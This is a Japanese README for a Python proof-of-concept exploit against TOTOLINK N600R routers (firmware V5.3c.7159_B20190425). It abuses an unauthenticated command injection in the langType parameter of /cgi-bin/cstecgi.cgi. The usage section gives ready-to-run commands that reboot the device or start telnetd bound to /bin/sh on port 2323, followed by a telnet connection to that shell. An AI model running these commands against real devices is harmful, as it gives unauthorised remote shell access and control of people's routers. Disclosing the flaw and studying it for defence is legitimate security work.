
Python製の概念実証コード。TOTOLINK N600Rにおける未認証のOSコマンドインジェクションを実証し、langTypeパラメータを悪用してデバイス上で任意のコマンドを実行します。
TOTOLINK N600R における未認証コマンドインジェクションの Python 概念実証。
| 製品 | TOTOLINK N600R |
| ファームウェア | V5.3c.7159_B20190425 |
| 種別 | OS コマンドインジェクション (CWE-78) |
| パラメータ | langType |
| エンドポイント | /cgi-bin/cstecgi.cgi |
| CVSS v3.1 | 9.8 Critical |
TOTOLink N600R V5.3c.7159_B20190425 は、/setting/setLanguageCfg の langtype パラメータを介したコマンドインジェクションの脆弱性を含むことが判明しました。
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# 使用方法: python3 poc.py <TARGET> <COMMAND>
# 例: python3 poc.py 192.168.68.1 "reboot"
# 例: python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"
python3 poc.py <TARGET> <COMMAND>
PoC を使用してターゲットをリモート実行し、ポート 2323 で /bin/sh を提供するようにします。
python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"

ポート 2323 が有効になったかどうかの結果を確認します。

telnet を使用してポート 2323 経由でターゲットに接続します。
telnet 192.168.68.1 2323

無保証で現状のまま提供されます。著者は誤用または損害について責任を負いません。